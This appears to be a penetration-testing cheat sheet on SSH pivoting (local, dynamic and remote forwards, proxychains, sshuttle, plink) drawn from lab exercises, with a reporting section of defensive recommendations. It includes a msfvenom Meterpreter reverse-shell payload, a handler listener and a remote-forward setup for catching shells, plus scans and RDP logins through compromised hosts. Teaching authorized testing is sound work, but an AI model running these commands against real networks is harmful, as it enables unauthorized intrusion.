πŸ›‘οΈ Methodology Checklist

  • Confirm SSH access to pivot host and internal segment reachability
  • Local forward: ssh -L [LPORT]:[INTERNAL_IP]:[PORT] user@[PIVOT]
  • Dynamic SOCKS proxy: ssh -D 9050 user@[PIVOT]
  • Configure /etc/proxychains.conf: socks5 127.0.0.1 9050
  • Verify listener: ss -tlnp | grep 9050
  • Test connectivity: proxychains4 -q curl http://[INTERNAL_IP]
  • Remote tunnel (reverse): ssh -R [RPORT]:localhost:[LPORT] user@[ATTACKER]
  • Close SSH session cleanly when done

🎯 Operational Context

Use when: SSH access to a pivot host β€” use dynamic SOCKS proxy (-D), local port forward (-L), or remote port forward (-R) for internal network access. Think Dumber First: ssh -D 9050 [USER]@[PIVOT_IP] then set socks5 127.0.0.1 9050 in proxychains β€” takes 10 seconds and routes all proxychains traffic through the pivot. The most reliable pivoting method when SSH is available. Skip when: SSH not available on pivot β€” use Chisel or netsh instead.


⚑ Tactical Cheatsheet

CommandTactical Outcome
ssh -L [LPORT]:localhost:[REMOTE_PORT] [USER]@[PIVOT_IP]Local forward β€” specific local port β†’ specific remote service
ssh -L [LPORT]:localhost:[PORT1] -L [LPORT2]:localhost:[PORT2] [USER]@[PIVOT_IP]Multiple local forwards in one command
ssh -D 9050 [USER]@[PIVOT_IP]Dynamic forward β€” SOCKS proxy on local port 9050 for entire internal network
ssh -R [PIVOT_LAN_IP]:[PIVOT_PORT]:0.0.0.0:[LPORT] [USER]@[PIVOT_IP] -vNRemote forward β€” pivot listens, forwards reverse shell back to attack host
proxychains nmap -v -Pn -sT [TARGET_IP]Scan internal host via SOCKS tunnel (must use -sT -Pn)
proxychains xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS]RDP to internal host via SOCKS proxy
sudo sshuttle -r [USER]@[PIVOT_IP] [TARGET_SUBNET]/[CIDR] -vTransparent VPN-like proxy β€” no proxychains needed
sudo sshuttle -r [USER]@[PIVOT_IP] 0.0.0.0/0 -x [PIVOT_IP]Route all traffic except pivot host itself (prevent loops)
echo y | plink.exe -ssh -D 9050 [USER]@[PIVOT_IP]Windows plink β€” dynamic SOCKS proxy
plink.exe -ssh -L [LPORT]:[INTERNAL_IP]:[TARGET_PORT] [USER]@[PIVOT_IP] -pw [PASS]Windows plink β€” local port forward
netstat -antp | grep [LPORT]Verify SSH tunnel is listening on attack host

πŸ”¬ Deep Dive & Workflow

Identifying Pivot Opportunities

# Linux: find dual-homed hosts (multiple NICs = pivot candidate)
ifconfig    # look for eth1, tun1 with different subnets
netstat -r  # check routing table for reachable subnets
 
# Windows
ipconfig /all
route print

Diagram rule: Map every NIC and subnet discovered. Multi-level pivots require knowing exactly which host bridges which networks.

SSH Local Port Forwarding (-L)

Use when you know the exact service and port to target (e.g., MySQL on 3306):

# Forward local:1234 β†’ pivot's localhost:3306
ssh -L 1234:localhost:3306 ubuntu@10.129.202.64
 
# Verify
netstat -antp | grep 1234
nmap -v -sV -p1234 localhost
 
# Use it
mysql -h 127.0.0.1 -P 1234 -u root -p

SSH Dynamic Port Forwarding (-D) + proxychains

Use when you need to reach any IP/port on the internal network:

# 1. Open SOCKS proxy
ssh -D 9050 ubuntu@10.129.202.64
 
# 2. Configure proxychains
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf
 
# 3. Tunnel any tool
proxychains nmap -v -Pn -sT 172.16.5.19      # -sT mandatory (no SYN through SOCKS)
proxychains xfreerdp3 /v:172.16.5.19 /u:victor /p:pass@123
proxychains msfconsole

SSH Remote Port Forwarding (-R) β€” Catching Reverse Shells

Use when a deep target can reach the pivot but not your attack host:

# 1. Generate payload pointing to PIVOT (not attack host)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 LPORT=8080 -f exe -o shell.exe
 
# 2. Start listener on attack host (different port than pivot port)
use exploit/multi/handler; set lhost 0.0.0.0; set lport 8000; run
 
# 3. SSH remote forward β€” pivot:8080 β†’ attack:8000
ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.15.50 -vN
# MUST specify pivot LAN IP β€” omitting it binds only to 127.0.0.1 on pivot (target can't reach that)

sshuttle β€” Transparent Proxy (No proxychains)

Best UX when target subnet needs extensive tool usage. Modifies local iptables routing β€” no proxy prefix needed:

sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
 
# Run tools directly (no proxychains)
nmap -v -A -sT -p3389 172.16.5.19 -Pn
xfreerdp3 /u:victor /p:pass@123 /v:172.16.5.19

Requirements: Python on pivot host (not required on attack host); sudo on attack host to modify iptables. Does not support UDP or SYN scans reliably β€” use -sT.

plink.exe β€” SSH from Windows

Native Windows alternative when PuTTY is already installed on a compromised host:

# Dynamic SOCKS (pipe y to accept host key)
echo y | plink.exe -ssh -D 9050 ubuntu@10.129.15.50
 
# Local forward (RDP β€” use 3390 to avoid conflict with Windows' own RDP on 3389)
plink.exe -ssh -L 3390:172.16.5.19:3389 ubuntu@10.129.23.243 -pw "HTB_@cademy_stdnt!"
mstsc /v:127.0.0.1:3390  # connect with TARGET's credentials (not pivot's)

Two credential sets: plink authenticates to the pivot; the RDP client authenticates to the target.

Comparison Table

MethodUse CaseproxychainsUDPStability
-L (local)Single known serviceNoNoHigh
-D (dynamic)Full subnet accessYesNoMedium
-R (remote)Catch reverse shell from internalNoNoHigh
sshuttleFull subnet, many toolsNoLimitedHigh
plinkWindows attack hostVia ProxifierNoMedium

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
ssh -D port already in useLocal port conflictChange: ssh -D 9090 ...; update proxychains.conf to match
Dynamic proxy works for some tools but not othersSOCKS4 vs SOCKS5Set socks5 not socks4 in proxychains.conf; UDP-based tools don’t work through SOCKS
SSH connection drops after idleNo keepalive configuredAdd: ssh -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -D 9050 ...
Remote port forward (-R) not bindingAllowTcpForwarding disabledCheck sshd_config on attack box: AllowTcpForwarding yes and GatewayPorts yes
Local forward (-L) can’t reach internal serviceWrong destination formatFormat: ssh -L [LPORT]:[INTERNAL_IP]:[INTERNAL_PORT] [USER]@[PIVOT]; INTERNAL_IP is from pivot’s perspective

πŸ“ Reporting Trigger

Finding Title: SSH Dynamic SOCKS Proxy Enables Full Internal Network Access Impact: SSH dynamic proxy through a compromised Linux host routes all attacker traffic through the pivot, providing unrestricted access to the internal network segment with encryption and minimal detection risk on networks that permit outbound SSH. Root Cause: SSH permitted outbound from the pivot host without network-level restrictions. No monitoring of SSH dynamic proxy usage. Recommendation: Restrict SSH access from internal hosts to specific authorized destinations. Alert on outbound SSH connections from non-management hosts. Monitor for SSH with -D or ForwardAgent flags from non-interactive processes. Implement network access control based on host role.